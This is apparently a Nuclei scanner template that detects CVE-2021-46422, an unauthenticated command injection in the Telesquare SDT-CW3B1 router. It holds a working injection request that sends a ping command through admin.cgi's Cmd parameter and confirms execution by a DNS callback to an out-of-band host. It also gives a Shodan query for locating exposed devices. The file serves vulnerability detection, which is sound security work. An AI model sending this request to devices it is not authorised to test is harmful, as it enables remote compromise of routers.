id: CVE-2021-46422

info:
  name: SDT-CW3B1 1.1.0 - OS Command Injection
  author: badboycxcc,prajiteshsingh
  severity: critical
  description: |
    Telesquare SDT-CW3B1 1.1.0 is affected by an OS command injection vulnerability that allows a remote attacker to execute OS commands without any authentication.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.
  remediation: |
    Upgrade to a patched version of SDT-CW3B1 or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/50936
    - https://drive.google.com/drive/folders/1YJlVlb4SlTEGONzIjiMwd2P7ucP_Pm7T?
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46422
    - https://drive.google.com/drive/folders/1YJlVlb4SlTEGONzIjiMwd2P7ucP_Pm7T?usp=sharing
    - http://packetstormsecurity.com/files/167201/SDT-CW3B1-1.1.0-Command-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-46422
    cwe-id: CWE-78
    epss-score: 0.93876
    epss-percentile: 0.99877
    cpe: cpe:2.3:h:telesquare:sdt-cs3b1:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: telesquare
    product: sdt-cs3b1
    shodan-query: html:"SDT-CW3B1"
  tags: cve2021,cve,packetstorm,telesquare,rce,router,injection,edb,vkev,vuln
variables:
  cmd: "ping${IFS}-c${IFS}1${IFS}{{interactsh-url}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/admin.cgi?Command=sysCommand&Cmd={{cmd}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<CmdResult>"

      - type: word
        name: http
        part: interactsh_protocol
        words:
          - "dns"
# digest: 4b0a00483046022100f2133f29392568e9a9436f4c064e441f3a4e23f9b9ae7785e8c03a50e392965a022100f357ab6657ef0e3403905634bf5cd48eabae5ef82482933d5c8ed39573124309:922c64590222798bb761d5b6d8e72950